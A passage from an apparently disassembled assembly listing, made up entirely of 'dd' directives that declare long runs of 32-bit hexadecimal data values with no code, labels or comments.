		dd 87A60614h, 0EAFC00E4h, 331CB173h, 0B4FE0C19h, 9F71E86Ah
		dd 1B02BF00h, 2198596Ch, 82243FC7h, 79C68580h, 0E3A604AEh
		dd 0D5754315h, 34C800C8h, 0B91EEDFFh, 0A65A3089h, 0A435E319h
		dd 6DD6D100h, 70DD0F4Fh, 7B4900EEh, 0D58BFCB3h,	5103980Bh
		dd 2507248h, 5E9189Fh, 0FAA4080Ch, 6300FFB0h, 132D7AAFh
		dd 2B8C16h, 3AAE4B89h, 0EDEC8B5Ah, 51346B15h, 2EE00CB8h
		dd 38DA81A5h, 28F85F09h, 9088FFD7h, 887857h, 0EA8B8A58h
		dd 7ADEAC6Fh, 2BF3B30Eh, 3F1A408Dh, 0D71922h, 0C103C473h
		dd 5577435Ch, 0DCAD3000h, 7B8D2498h, 7F170067h,	1D2F13B2h
		dd 78163728h, 0EE87C7h,	0D2DC15A4h, 0ECF8637Ah,	4200A879h
		dd 4846D6F1h, 48358D25h, 0EB0352B8h, 6695C06Bh,	0D8F415D0h
		dd 85B7BA00h, 78CE22ABh, 43F30104h, 181D7956h, 3798C0FAh
		dd 4FFF8B00h, 0DF386B6Fh, 7AAC09DBh, 67026DCDh,	5841E1B9h
		dd 0FBA1DC37h, 0BBFC420Ch, 16B7822h, 8649081Dh,	0C092BDE1h
		dd 3D18986Fh, 0C29938D7h, 9E6B0278h, 0B20B6768h, 0F2928880h
		dd 0B000152Dh, 0B6DC1C25h, 985BB4h, 7B798975h, 0BB7042B8h
		dd 65978CA8h, 5EA8285Bh, 2FDF8F00h, 0C035EEFEh,	775D590Ch
		dd 0E01629F4h, 1ABC1DC3h, 650AFC7Dh, 4090D3FEh,	29CE4E59h
		dd 7744DA00h, 0BFEC5CD4h, 5E33D52h, 80124A14h, 0DEFD8B01h
		dd 406D5DDBh, 2816CC40h, 0F32B120h, 8CDCCEEEh, 42454880h
		dd 7A50F888h, 5C188BF4h, 2C70214Eh, 784F60FBh, 0E0CA227Dh
		dd 0D34C6B00h, 48A49E08h, 66862842h, 0C1EC2080h, 5C1871F4h
		dd 0B980F598h, 3237D3Eh, 948C7C7Dh, 5118F02Bh, 0BF9993DCh
		dd 56AD3EA8h, 62320D80h, 0CDA2ED54h, 1B2D8F03h,	0B1E04333h
		dd 389F42DCh, 7195C07Bh, 4B669873h, 9C72A900h, 8064B738h
		dd 0F3FB0353h, 84DCE424h, 0CDBB6100h, 35AAC2B4h, 2A9F00B6h
		dd 79A61885h, 6A00AE29h, 0DAFEF1F0h, 48BB5C37h,	42086878h
		dd 0A38A9EB2h, 6E8094DBh, 2D5388C3h, 592014BBh,	12C3E85Fh
		dd 300093A1h, 0AD266248h, 300182h, 0C77197EDh, 336FF7B7h
		dd 7D5A1800h, 5E9F0C12h, 0D08A5342h, 0F625940Ah, 1DEE8690h
		dd 9612511Fh, 417A2Bh, 8C2AA63Eh, 56C19C20h, 5B1F7CC2h
		dd 0A77440CBh, 79DB169Fh, 0D93738C2h, 44D4822Fh, 744700C2h
		dd 51306B64h, 7BEEE0DFh, 71F863E2h, 8930F9C2h, 0FCC3745Bh
		dd 0CD7C00D1h, 0F67AA99Bh, 0EB0E26B8h, 46F5FB52h, 906922B3h
		dd 454C002Fh, 0E52DA2A0h, 3A03E068h, 32E567Ch, 7F589917h
		dd 0A5DF3C0h, 8BDCE30Fh, 0D2888E80h, 7484DBE5h,	271000FCh
		dd 8E92A2DEh, 6425AF24h, 0AE115B40h, 4F0405F4h,	4023D2D4h
		dd 1A657E94h, 6062A605h, 0CC1C0F8h, 0ACAB98E8h,	4844D6CAh
		dd 2C1F131Fh, 0C4FD2383h, 4B6087E2h, 2938CBD2h,	1778E5D4h
		dd 33A2012Bh, 0C648B0FFh, 9E22B84Ch, 9DA33084h,	0E7496569h
		dd 0D35C4E01h, 4FB3C238h, 4DE36D30h, 2C894878h,	43F2C000h
		dd 284C1348h, 377B0085h, 4101330Bh, 31090345h, 0EB7E9DB6h
		dd 74B953h, 0CCC6D78Bh,	1C2AB6h, 36C85E64h, 0A8468AC4h
		dd 1BBFE102h, 4C1A7E3Ch, 98E5085Ch, 2501B31Dh, 0CAC305ADh
		dd 4236B06Bh, 22035A1Fh, 0A446D90Fh, 8C80C92h, 2E67F5Bh
		dd 0EF68A0F6h, 3C6CFF94h, 6C70E02Ah, 2236451Fh,	27D55A89h
		dd 23704B48h, 0EC3D1C63h, 0B73618C1h, 2FFB8605h, 88FEAE30h
		dd 0B1641F26h, 189AA414h, 128B81EEh, 0FA16EA00h, 600F809Bh
		dd 1D530110h, 0D743E08Eh, 0EA042454h, 0F050050Bh, 4A2280F5h
		dd 67D91Bh, 8E8758F9h, 0C6AFC938h, 0AC3D1E24h, 0AFA4FC62h
		dd 3EECC088h, 2664AD8Ah, 60A0141Ch, 58D44847h, 149F7026h
		dd 9C6A50h, 0DC1B8398h,	259DEC55h, 0EEB9F262h, 451480C2h
		dd 28377674h, 24F030A3h, 0C234EA2Dh, 6844C29Dh,	0FA024775h
		dd 0D0372F67h, 0A8D0685Dh, 58D30065h, 41438E80h, 0B401323Ah
		dd 0CE818F82h, 20557F92h, 0E92F5461h, 0D6989180h, 12ECC34Ah
		dd 3B0187EAh, 6F8B5BCAh, 0E45C9C3Eh, 0F80C3596h, 34CC3039h
		dd 0C706896Eh, 0E60D921Ch, 0A25B1021h, 6C480087h, 0D6B4465Ah
		dd 0EFB50319h, 95B8746Dh, 40F330FFh, 90B081h, 81F2C24h
		dd 5037920Ah, 5A0AA826h, 0C594C889h, 0C8D980A4h, 3810FB82h
		dd 0CE806A83h, 0BC42C157h, 3712452Ch, 284B35B7h, 0E5BC31E7h
		dd 0C6A1D8E3h, 0E3752619h, 3796C2A8h, 1E439890h, 0B6E5C10h
		dd 0A0EEAC05h, 7E500A2Bh, 28C364E8h, 0C5C08BB3h, 0D20B3B26h
		dd 1870037Ch, 55D66A8Ch, 0DDDCA0B0h, 0B34D004Eh, 1B52514Ch
		dd 0A30418AEh, 7401E0B4h, 0CF1D04C0h, 2D420CA2h, 4139B7CEh
		dd 11EA8C00h, 0DE18ED5Ch, 1D9C9B8Ah, 0A5D08A5Bh, 0F5BB9Ch
		dd 467A55E1h, 4AD4FC7h,	8E6D9F1Dh, 0C62F117h, 784C80DCh
		dd 919627Dh, 0B10499FCh, 867C7822h, 0F0578A11h,	31BC2380h
		dd 657300C0h, 0FDF0552Bh, 0C02C406h, 0D73702A3h, 0CA98A0F7h
		dd 3F286F57h, 3187841Fh, 855DC695h, 0FB4C987Ch,	66083842h
		dd 90A6A5B9h, 1E11306Ah, 91BC9E00h, 0F0748A99h,	89F01D4Ch
		dd 0C4A8302Ch, 0ADAC002Ah, 5B826DAFh, 0FF4CC53Bh, 0FD83093Bh
		dd 0AC60B004h, 0B84B1679h, 2FB031C0h, 0BC48DAD0h, 0A60E3152h
		dd 60405DD2h, 67A0B78Dh, 0B49A3C7Ah, 7D4A2A81h,	0DE77DA37h
		dd 0E1207064h, 48F249B2h, 7881F689h, 745CDCFCh,	9E002A70h
		dd 4D9D83CEh, 0B8FD88DEh
		dd 1B6000CDh, 0AAAC257Dh, 5C93E41Ch, 54C32C0Ah,	0FDD0340h
		dd 21DC0198h, 41557923h, 1F9060FEh, 0BE08ED1Dh,	0F7082C2Ch
		dd 3796130Dh, 58C03A14h, 0A8A58912h, 8407F096h,	0D6E7CE38h
		dd 0AFE8903Bh, 2A87040Eh, 0C0676316h, 75D0041Fh, 8550E949h
		dd 0E020CFEEh, 6A35745h, 0DB04D3D9h, 0FA00499Dh, 0F38826F9h
		dd 0AA1E6Fh, 8CBEB285h,	0FE4F204Bh, 425C9F12h, 20F75492h
		dd 55F1591h, 390B53F0h,	0B0815B72h, 6430EE18h, 0C8FC7986h
		dd 8B0024A4h, 4DA11AD8h, 4446C5Bh, 9583C559h, 1F7C8082h
		dd 75489846h, 5CC10985h, 0D514404Bh, 7C6DF859h,	1F09384h
		dd 9E9F02B9h, 61BA68h, 20669C62h, 270FECh, 4C4E4BD0h, 7085D2E3h
		dd 7416B20Eh, 32BF80C6h, 6DDCA73h, 9186D3FBh, 1100389Bh
		dd 4AC73C2Eh, 8C7F3Dh, 1FF9BC73h, 0E61C38F5h, 1D716800h
		dd 6F9BE821h, 85BA0058h, 0CD1902F6h, 7806C39Dh,	5D821C0Dh
		dd 84233C89h, 9BCCCB07h, 0FC49902Dh, 1B01305Eh,	98206910h
		dd 0D3D26Eh, 0ED6D5450h, 0CD35B12Eh, 1B25CB00h,	30DAADC0h
		dd 29020E82h, 0C05DE3E4h, 0D7926EA0h, 0B9C3BBF9h, 654E49h
		dd 99AFB748h, 1D2927B6h, 0CF6DE00h, 6419DFE6h, 0E4D100CAh
		dd 910D052Dh, 0C00151DBh, 0AAF15608h, 8981C971h, 9C8E03CBh
		dd 0BD8CD4BEh, 0DFD02100h, 0EA73948Ah, 96260745h, 56B09C09h
		dd 0F019F06Ah, 4A816425h, 0DCE676F4h, 0CE710A98h, 0BF0638Ch
		dd 0FB0229DEh, 43E5B286h, 2D8480BBh, 7588F3h, 0C819F712h
		dd 5D84B64Bh, 9960E630h, 0C1E76FD7h, 0A5A871F1h, 1C0CC856h
		dd 0B55B2106h, 18787977h, 288EE33Dh, 6D3CC323h,	76EB1D48h
		dd 800C0707h, 0C219409Fh, 0CB39CCDh, 62359DA2h,	5E2914A0h
		dd 8600F0E4h, 0F995E6FAh, 838E1EB0h, 65488C66h,	7DF6ABC1h
		dd 7B7C1D09h, 4B101824h, 665440E4h, 9FDD513Bh, 91060CE7h
		dd 5819083Dh, 0F60FF46Fh, 1500B8F3h, 0DCE4E91Eh, 88EC9F54h
		dd 809C6520h, 0DC23E684h, 41CE9E39h, 0F77485A0h, 0FC4FC422h
		dd 1FF08619h, 0BBC8E831h, 9DE600FBh, 0F394ADBCh, 48C42E24h
		dd 91470557h, 0A2EF10B4h, 0E00EA71h, 63C8CAB8h,	790A0B6h
		dd 0E35B2221h, 44BC5A1Eh, 0C9C841ADh, 0E1F98555h, 5949808Ah
		dd 0F245A888h, 0E2F628h, 5DE617A5h, 8A522A91h, 49AC980Fh
		dd 780CD2E8h, 55591Ch, 81B7D793h, 0F1D05F06h, 798824h
		dd 0C6CCB495h, 7E18F44h, 651A334Dh, 0D4A8D0A2h,	0BE004098h
		dd 379F170h, 0E2846F86h, 0AEC2058Ch, 61C6975Fh,	120746Ch
		dd 80470486h, 0ED8D9EE0h, 0DCB3292Dh, 54B0A8D8h, 935BAC63h
		dd 4423E44h, 0C91198ABh, 2CAE3890h, 0F7FE591Ch,	0DD4BC100h
		dd 25710D7Dh, 9B04EF72h, 0D6F32624h, 3DCB24C3h,	0E9003651h
		dd 5B120776h, 0AF0F2CFEh, 0A0051BA5h, 5ADD83CFh, 5F57C25h
		dd 3EE768FFh, 6AE4401Dh, 1A30EB4Ch, 31AC39h, 0BD3CA490h
		dd 153A7B38h, 34B40458h, 0EE647500h, 2EA14F3h, 8F8DC33Eh
		dd 3C4B93E7h, 0D6B4C000h, 4C6B75ADh, 0FC401021h, 36B08990h
		dd 0C67E0070h, 0F10A07E9h, 822118E8h, 163D29A5h, 5240DD01h
		dd 0AAB2BB50h, 1B9043h,	0CB05D4B1h, 1078E40Dh, 58A1B01Fh
		dd 20DE9DCFh, 0DAEF7186h, 40F4AA8Eh, 243DB7CCh,	4280F14Eh
		dd 6066D0D9h, 0BE769700h, 0D63556A4h, 0BCF1484Ah, 21AB4C85h
		dd 15A4A164h, 8CAE8403h, 4657F270h, 0A85B1064h,	802049D0h
		dd 0F14F62A2h, 2C060E10h, 586037E9h, 43C275EBh,	4924ED76h
		dd 52808057h, 4087A4F5h, 7D950BAEh, 0DC03ADB2h,	7690F726h
		dd 0A004F5B8h, 4F159ACDh, 2798F882h, 90742086h,	4830AF22h
		dd 9C5515Ah, 6F2F39A3h,	40E20F9Dh, 0CBF0FC27h, 1007F7AAh
		dd 714F678Ah, 0B09418F9h, 0D52118C7h, 7220C1D2h, 786E102Ch
		dd 0CED72600h, 6EE54BB8h, 5B0521E1h, 3EB85EE9h,	0D2864A01h
		dd 366C27F7h, 0DF7E12F0h, 0A4868C30h, 0D819143Fh, 7280ACF9h
		dd 0E54310EAh, 49732498h, 29EFC200h, 0B1F73568h, 8CE418E8h
		dd 1E3DF09Eh, 4F388F63h, 6B08884Bh, 4AF6015Fh, 0B2F09DB1h
		dd 9936C098h, 3A2CE504h, 808C4804h, 8601585Dh, 8E2BA102h
		dd 54A29BB4h, 0D8485E82h, 0FE00E64Eh, 8D290DAh,	0A863494Bh
		dd 0FBED0ACh, 0BDAA0A0Eh, 5038852Bh, 88A99010h,	2419DD4Ah
		dd 0E36FEF28h, 5E094E9h, 5F71B8B2h, 13069C56h, 9E8236Ah
		dd 0A11878C7h, 68023C89h, 49050F15h, 1CD19088h,	4094E2E6h
		dd 0F59C704Dh, 0ED05EF83h, 6C15B0A5h, 5AD6E860h, 69D967CBh
		dd 227E5169h, 9F30BB8Eh, 0C01ADBBh, 125D6576h, 860BD832h
		dd 8120EEFh, 4937EC4Eh,	1B70894Dh, 0EB4F87Dh, 816FF975h
		dd 18E25FC0h, 5B1E0450h, 0A66B73h, 47D09E40h, 2AC4777Bh
		dd 148C0613h, 0F4BF01C3h, 72CA1016h, 45205A0Ch,	1A1AC6Dh
		dd 0AFCCF81Ch, 0D82578A2h, 6204A33Fh, 0FA2DDB84h, 0A0D314C1h
		dd 63B53842h, 23E5DA0Ch, 512E5325h, 74409870h, 0C23EE1h
		dd 8424BDCBh, 3413B356h, 37FEAE1Ch, 0B0D076CBh,	54818978h
		dd 6E8C56h, 65119EFAh, 1F9615E5h, 0FED56A07h, 8CE0093Eh
		dd 0BD2F3BFh, 6533CAECh, 631C2031h, 41CD238Ch, 8972EA5Bh
		dd 4B9CD7A9h, 44E4E230h, 496734B8h, 0DADC6310h,	200425E4h
		dd 0A8141219h, 38775900h, 97B8418Bh, 88CEF026h,	0DAA5DBE7h
		dd 7DFB50C8h, 4E75DEFh,	0F390501h, 80404924h, 7E019921h
		dd 0F6C26131h, 8E9054Ah, 276F4FA0h, 9192D678h, 95F98D00h
		dd 71B3C1BDh, 0FAD81618h, 3D9861FCh, 480C2422h,	182F0600h
		dd 28B2507Ah, 0E2080139h, 0F583883h, 9122E073h,	551B5900h
		dd 4597E7B4h, 1A0E049h,	370A8186h, 80285DD5h, 9F619D31h
		dd 1A5F64h, 1F7289DBh, 3A51EABEh, 0E0E0383Ch, 1B783E29h
		dd 0AEE300CFh, 90D1C28Dh, 9460DFB1h, 0BBAAFE20h, 87D700C7h
		dd 0B7556206h, 6BF6988Eh, 535AA007h, 540FBFDh, 0DD9708h
		dd 0D338950Fh, 8F9F6BE9h, 16D4AF1Dh, 0E780439Dh, 3F9EE525h
		dd 634CE087h, 0BA958035h, 0BFED29F0h, 67CE1300h, 0EC5D1C8Ah
		dd 9CEB03DDh, 355096Fh,	0E058580Ch, 5CFBB96Ch, 778C8E4h
		dd 640E52FEh, 80E1D3CFh, 0BBA2100h, 0B779BDE5h,	0C501006Eh
		dd 0D656204Fh, 5818985Dh, 3D81344Dh, 0EBB50073h, 9C3E8CABh
		dd 1F00DC52h, 6E4E4A15h, 19FB708h, 0DB033B88h, 863A12DEh
		dd 80D51839h, 2AF099h, 0D35911D1h, 516AEFA3h, 0DEDD3F1Eh
		dd 3001308Ch, 80C9749Fh, 0C3003D4Ah, 1249829Dh,	7B1A45h
		dd 24B3AEDCh, 51301D03h, 6B45007h, 34EF358h, 0BFD4D59h
		dd 3D76949h, 0B1421C07h, 40BD9088h, 0BB37CC9Ah,	0EB2F9202h
		dd 0BACF086Dh, 972000B8h, 30D4AB0h, 45077B70h, 30EF36C2h
		dd 786674DCh, 8CC03B14h, 39FC6C0h, 0C28800B9h, 29F25A82h
		dd 0D5156796h, 15808124h, 8C204Ch, 90AEC3F0h, 906F0634h
		dd 82E22050h, 0EC362C06h, 7158D253h, 757804E1h,	90C8B0DEh
		dd 0FBCF3B38h, 8DD97305h, 0FDC09131h, 803F75h, 0A2BE8BDFh
		dd 365901B5h, 0E1F7500Fh, 52F28358h, 30CEB8B8h,	0C3AF6FAh
		dd 31EEDE53h, 835009F1h, 0A891E030h, 9036F500h,	1E8C6EBh
		dd 0CF4686BCh, 486042EDh, 54008594h, 9AC06E9h, 904658D2h
		dd 0E0FA0081h, 0DFB0284Dh, 9D7E944Ah, 50141370h, 34BB3Fh
		dd 0F96AD8E1h, 0AA0549Bh, 86F124ADh, 0DDEE07D9h, 8AFC9075h
		dd 30482A9Fh, 94B003D0h, 1F4BB67h, 0A1480141h, 20ED1692h
		dd 7016140h
		dd 266FDBF2h, 380104B6h, 0E9E3E8E2h, 39CABB31h,	3DCCB9DAh
		dd 0B2BD0BB4h, 8580D58Bh, 0D476E9BEh, 15CF6102h, 4E58AF16h
		dd 27F4FD54h, 2476FC2Bh, 621C2692h, 44BF2Ah, 0A7CC2C48h
		dd 54C8BB08h, 48FCB051h, 1021F3DCh, 7EC81E0h, 801A5EDEh
		dd 0A9DA7E09h, 0E8004046h, 91F8CA08h, 3DEE166h,	7442735Ah
		dd 80051C5Ch, 0DF5609FAh, 80801C08h, 3B405504h,	9D0082E7h
		dd 0C683A9D3h, 641CD57h, 0A2262EF2h, 0D514B9D0h, 8AFC6F75h
		dd 9D4570F7h, 0F8A7C463h, 521478h, 0E6D6F588h, 826F2C9h
		dd 0D565BFE4h, 7C00BB51h, 308D3C52h, 14F30067h,	0B6948F40h
		dd 0D8AA299Fh, 621E5846h, 390E021Dh, 18370944h,	48D5C984h
		dd 0B890A43Ah, 78F80222h, 0CD0069DFh, 0ACB3AAF8h, 1860A493h
		dd 311D44F5h, 5B010CC3h, 0AD916672h, 19805C09h,	0CE706E58h
		dd 1A187457h, 0F138D824h, 308F50D6h, 19D49856h,	12CF07A8h
		dd 0D03260h, 2A82B4A2h,	3FFACA6Ch, 12F9DADCh, 2E4F7F4h
		dd 59E310C0h, 7938F880h, 5600059Eh, 5BCE0C55h, 32BABB74h
		dd 0DEA801E1h, 0C6236B20h, 0B1902CEh, 116F15D9h, 0BF712041h
		dd 260A4478h, 138E0BD8h, 0D61C71E3h, 0F04225Eh,	616016F5h
		dd 96608E4h, 2E9CC8CCh,	164E523Dh, 3A882682h, 0A68893h
		dd 38A16440h, 0E0B90044h, 0D5A7F99Ah, 0A312AABFh, 901F7091h
		dd 3D12DFC6h, 7FD11931h, 202FF05Ah, 6F89B270h, 52005C26h
		dd 491D3194h, 0A4774135h, 0F511149Bh, 5EF29D01h, 719930BDh
		dd 2AD00C08h, 0F31B610h, 31DCBB18h, 55001084h, 7E1DBED9h
		dd 68EFC02h, 998AFE20h,	0EE33FC38h, 0E818A964h,	126694F2h
		dd 8F55A12h, 6F81154Ch,	3CEC91A8h, 0ACE43370h, 2B1901B0h
		dd 69CFC160h, 2C96E40Bh, 0F4DD89C0h, 52C8C5h, 0AACB3654h
		dd 0F3E80584h, 3E5DA900h, 42C30E4Bh, 32109ADAh,	0D4B9F85Bh
		dd 77D5A8B0h, 0B8B054B9h, 5DA006B2h, 1A636492h,	0C8807926h
		dd 0DC0B9CDDh, 10FE4D87h, 0D8EB60h, 9B4DE1Ch, 0B9686914h
		dd 39F65E01h, 8B703AFDh, 85017037h, 0F4BDCFA4h,	0D51CCCE1h
		dd 81875E31h, 9850224Ch, 1C869825h, 0A4D8AADCh,	84CD3C98h
		dd 0BB8CDEC8h, 22DD9CBh, 0C5266CACh, 70A2A003h,	2A228179h
		dd 42E846B3h, 679A1924h, 4C113D28h, 47E1ACFCh, 6331B300h
		dd 580C1CDAh, 4501AAD4h, 26CF98E7h, 6080C521h, 98A9AEACh
		dd 38E05C20h, 8002563Ah, 42D60E3h, 3F50832h, 24EE5915h
		dd 96F2B6D1h, 9CB04846h, 0EE7C2744h, 4C1B0021h,	13E03BA1h
		dd 9E005487h, 0BBFBAB0Ch, 17999FB9h, 8CE2F23h, 4C8C3A80h
		dd 30F7C109h, 59070ABh,	0C7017C54h, 0F57D1C31h,	2C765C9Bh
		dd 51003522h, 362F8023h, 0BD21E0h, 5AE6730Ch, 0E33798D8h
		dd 0DCF6F106h, 2EC82632h, 9466EEh, 0A856FD49h, 2D5DDA7Ah
		dd 78D08D4h, 64AB08F2h,	0B9A70985h, 86FD841h, 15D0041Eh
		dd 0B02A5C7Bh, 2928EE05h, 915086A6h, 0A643F2F7h, 983C94FDh
		dd 1F547124h, 6D44780Ch, 26A2372Ah, 0E759D041h,	78B1BB23h
		dd 2B84BD00h, 0D2C748h,	3E8776FBh, 7F95D586h, 0EE18302h
		dd 8BD91FA3h, 5414918Ch, 0F627E4h, 729EA553h, 21EB2639h
		dd 15D0452Eh, 40062813h, 0F739DC4Fh, 60B54C11h,	580778F9h
		dd 0DDDE5E1Eh, 8292D772h, 609E34C0h, 92F1858h, 27C2B256h
		dd 8CCE0AAh, 0F5052348h, 88215F09h, 0E9833BE0h,	6EA3E1Bh
		dd 9B73A88h, 8B99E300h,	14152A8Fh, 77E50AD5h, 0A2B458C0h
		dd 76A1001Ch, 0FAE3BAA6h, 49002F1Dh, 7014934Bh,	284A9642h
		dd 53C65995h, 2008B076h, 8E832DE1h, 0C8A6CD7Bh,	89691Ch
		dd 4C21E232h, 0F830AD98h, 0A7283462h, 0F4E41E9h, 3470A855h
		dd 0F0490BA8h, 146600F2h, 9B15D55Dh, 2800CE81h,	5FAB5657h
		dd 0E5496F0h, 87353474h, 0FFCC3012h, 2900AD85h,	0B9C918BBh
		dd 73CDB043h, 0CFA50233h, 63516CC1h, 53BA9701h,	88C9F430h
		dd 0FE009008h, 45CCBC2Fh, 3BC2CB5Fh, 0C11D5DF7h, 73E9C002h
		dd 4FB83E38h, 7700A491h, 8ECDBDD0h, 6878007Ch, 2E48FCEBh
		dd 60187E8Fh, 4C280895h, 5C31C03Bh, 0BECAAE39h,	13E3A48h
		dd 7D4272FEh, 0C4C420B1h, 0E7D33BCEh, 88A817A8h, 2A9562B0h
		dd 3C90189Fh, 8F922F33h, 0D7487253h, 0FD7FA920h, 0EC6A0317h
		dd 0DA5F6862h, 0DBD180CCh, 0E5F09A18h, 0BF28E498h, 2C0680F7h
		dd 0C002DC83h, 7710F149h, 0C600C857h, 0BE6498DEh, 1905428h
		dd 0B4E242D9h, 0D0833A94h, 24B21027h, 36CA9D22h, 0B8F912DEh
		dd 98D144h, 0CD32B310h,	5CE05EA9h, 5942E416h, 334CA406h
		dd 0D5A10331h, 0D34A6BCCh, 39700D5h, 47B6F053h,	0D890343Bh
		dd 5ADE048Ch, 0D4C85DD6h, 0A832F9F4h, 0D5A68300h, 0F7DDB9A8h
		dd 1F6E081Ch, 7047B5C3h, 0E0401829h, 12283924h,	0A6C4A801h
		dd 2A8ABF43h, 2FED6E8h,	0C87365D5h, 50686FADh, 6B00269Bh
		dd 0AC240115h, 5C2370F6h, 7D00F790h, 840EB4FCh,	0BE3FA0F9h
		dd 4DD50150h, 2B9F781Fh, 98CCDD60h, 0FA2F0788h,	0C0793F90h
		dd 63CBD0B6h, 93731F09h, 0DE28104Dh, 0EA25E0AFh, 0AC35008Ch
		dd 0AA8A4EE4h, 9BB00434h, 3BD69706h, 3029F2h, 49CCA5F5h
		dd 59200330h, 6BFFF05h,	0D0C8AF79h, 0BABE03EDh,	933DE115h
		dd 0B02590B8h, 12145EEFh, 0C4C82438h, 351301E5h, 3DC68971h
		dd 67F6D43Bh, 660BF5F2h, 81704FD3h, 1A5A205Ch, 30479C01h
		dd 0AA00FFCDh, 0BE1BC3E0h, 40BB6Ah, 7C68A512h, 0EF5B34B4h
		dd 9004D025h, 3A6718h, 3E1AD6E6h, 2CB6897Dh, 0E7E0AD3Bh
		dd 0B7F0DB21h, 465D8Eh,	0A2C34F3Ah, 426D7A4Dh, 573AEAEAh
		dd 0F6BA87EEh, 1840ADAAh, 8A2131h, 0FCAF90B7h, 8C0B541Ch
		dd 72BCF61Eh, 5916F440h, 75D5C5BFh, 0ED2617E3h,	2202333h
		dd 7A2900A4h, 3D9364Ah,	708F7908h, 55F0A2FAh, 905C0CC4h
		dd 0FCB380A0h, 7B7D78h,	0B07CFEC0h, 5BC46DF4h, 0C6B3628h
		dd 6C8CD62Eh, 90E00449h, 0F7F48A20h, 843C20C8h,	1274Ch
		dd 550D0E7Ah, 7B8A01B5h, 0F2F46FC8h, 0B4A02A65h, 0A83C1CC2h
		dd 0F0A827h, 934F20EDh,	137AFC6Dh, 0BE4C3D00h, 6BA8052Dh
		dd 5B550FE8h, 0FA417C2Fh, 83F75A09h, 9306DEC1h,	18700959h
		dd 9410E1E3h, 6207CB22h, 0F5D2884Ch, 0A9899D40h, 0E21501A2h
		dd 9C8B791Fh, 0EF74708Ch, 2D19BA02h, 0A0BB7A9Bh, 0CDD378C0h
		dd 20A42890h, 1EEA3FD0h, 6058E10Bh, 0F3A7EC90h,	0DCD1F00Fh
		dd 119680DBh, 0C3182C0h, 2BFB8437h, 0B61D9C89h,	0E4E4F467h
		dd 3E12A705h, 2347D8C1h, 39B52A01h, 0E02F0484h,	9491F0B3h
		dd 2423A9DBh, 83BD24h, 0C8A0B362h, 8E1F07D4h, 0B005DADh
		dd 0F7878F56h, 299026BCh, 40044468h, 8679E218h,	0D79D24B0h
		dd 0AEA14090h, 400D485h, 0C288E174h, 13CB871Eh,	710B17Bh
		dd 0B0A7A813h, 43BC7EB6h, 79224201h, 0BF896B7Ah, 0CD40893h
		dd 762009CEh, 17680BFh,	0EEE4A0Bh, 6AFA6015h, 0D034500h
		dd 4F28C3BAh, 160028B2h, 1A076420h, 315F2D5Dh, 7918B778h
		dd 0D81B71FCh, 300831Bh, 0B87736F0h, 2B963Dh, 616E7963h
		dd 0BFB776E5h, 8048923Ch, 0B1F85F90h, 0F833941h, 2D126C69h
		dd 99E0C69Eh, 3000A105h, 0C9DFBB4h, 31BFDBh, 58D08917h
		dd 0B8ACC906h, 0C4F3D61Ch, 11C86F00h, 0E488D4B6h, 40066381h
		dd 0BDCBCCA7h, 75E7803h, 115B019h, 0D9A6CE88h, 824D2BA7h
		dd 20DC5E99h, 0CB54806Fh, 0D21DF6h, 68122E8Eh, 0A379E139h
		dd 0FCB04C3Dh, 0B71B50C0h
		dd 0A48EBD4Fh, 88D70390h, 0B2573706h, 0A4B09881h, 7200F3C9h
		dd 0AB7F9769h, 45A50611h, 21A4993Fh, 0A0368D00h, 46D44083h
		dd 0D906188Eh, 0FF7E88C8h, 0F57D7205h, 0E80FC13h, 0D093D7h
		dd 6E6678BFh, 0CEF9E6A3h, 0E52FF100h, 0FB725E4Dh, 689035Fh
		dd 7AF338Bh, 0E0C037F2h, 23007FCEh, 9DC4EBD4h, 3A0B774h
		dd 0DF40E759h, 710035D0h, 7DE6947h, 2E3C393Eh, 33D23150h
		dd 84C0D7A9h, 0E302690h, 0A9531E6h, 0AE993AA3h,	0BEB17209h
		dd 0BFFA3400h, 0EB30CCE3h, 836529E0h, 28E70309h, 0FCD97022h
		dd 1A2193Ch, 0AE439E2Ah, 688C881Dh, 0B708706Eh,	0A4BB2E00h
		dd 0F6FE7E0Eh, 641F077Ah, 0C9A86EF8h, 20A67419h, 6A48DA1Eh
		dd 0D0D84074h, 5361D660h, 0B8F6BC08h, 612407C9h, 6011EB94h
		dd 278CB8C8h, 0C303EC75h, 21A6DC95h, 51790071h,	0E386595Ch
		dd 370E1663h, 8CA7C294h, 0E0B1217Bh, 0A3890004h, 114E5C48h
		dd 2C03D914h, 6822202Ah, 2F7DA06Ch, 27F40177h, 0A776A9D0h
		dd 23BCE933h, 348A0038h, 8041C9B2h, 74217907h, 0BC10070Dh
		dd 4111B958h, 0D8F81629h, 0FA00F5F0h, 8266717Bh, 0C130D909h
		dd 0E0ADBE1h, 40B3E173h, 112E20E2h, 0F0A46C90h,	6444DE18h
		dd 120C8D79h, 0EAE4F43h, 760F411h, 0DC7E2087h, 0D54A010Eh
		dd 0F80A0A32h, 0CF88BE86h, 0F9730579h, 3082A86Dh, 79658DBCh
		dd 0E0CBB240h, 0E76D008Ch, 0B9AA3C71h, 0F1016F99h, 0A85FD977h
		dd 1186AE51h, 296CA401h, 0A6CF5B04h, 0BC954135h, 14DA7C30h
		dd 9CC4019Fh, 2FBCCEDCh, 246DF439h, 65B25000h, 0F0DE2125h
		dd 8E03149Bh, 5386DC22h, 0F7DA1C3h, 0F9617100h,	8B054A1Bh
		dd 4CFD0035h, 783D81Ah,	0E9CB1C98h, 289A801Bh, 97B15Ch
		dd 9947EDC8h, 0E9758387h, 0F8BC850Eh, 841469h, 459CA933h
		dd 0BA016Fh, 0EE3028BBh, 0D4E8FAF0h, 388A4F00h,	2397F2D1h
		dd 873E0120h, 0C8797275h, 0C1988188h, 29AB0776h, 0B15FE98Ch
		dd 6E3B9CB1h, 0C68300F8h, 6965C7E8h, 0EC22268Ah, 7C3703BCh
		dd 809C5994h, 0FA076B09h, 98B4E53Bh, 0B6C9B58Ah, 26C3F21Bh
		dd 0AEC4F2Bh, 808C654Bh, 0BE4E0DDDh, 816E82B6h,	1B88971h
		dd 29CCA644h, 865829BAh, 0C189F207h, 5CB650EDh,	5600391Bh
		dd 71C28175h, 72DEE5F9h, 3EF7016Ch, 4240C884h, 0FF489E7Eh
		dd 863E6064h, 0B10E3189h, 0CC083799h, 0BB078061h, 0A92AAD0Fh
		dd 8E448077h, 916000D9h, 0A479F570h, 0F0A0CB2Bh, 0BF02F8F1h
		dd 0CD2208F2h, 4D10C196h, 21F0AD10h, 29171D07h,	0B32337EFh
		dd 0F968003Bh, 7DA122E0h, 6F24FED9h, 1B8030BAh,	26BED314h
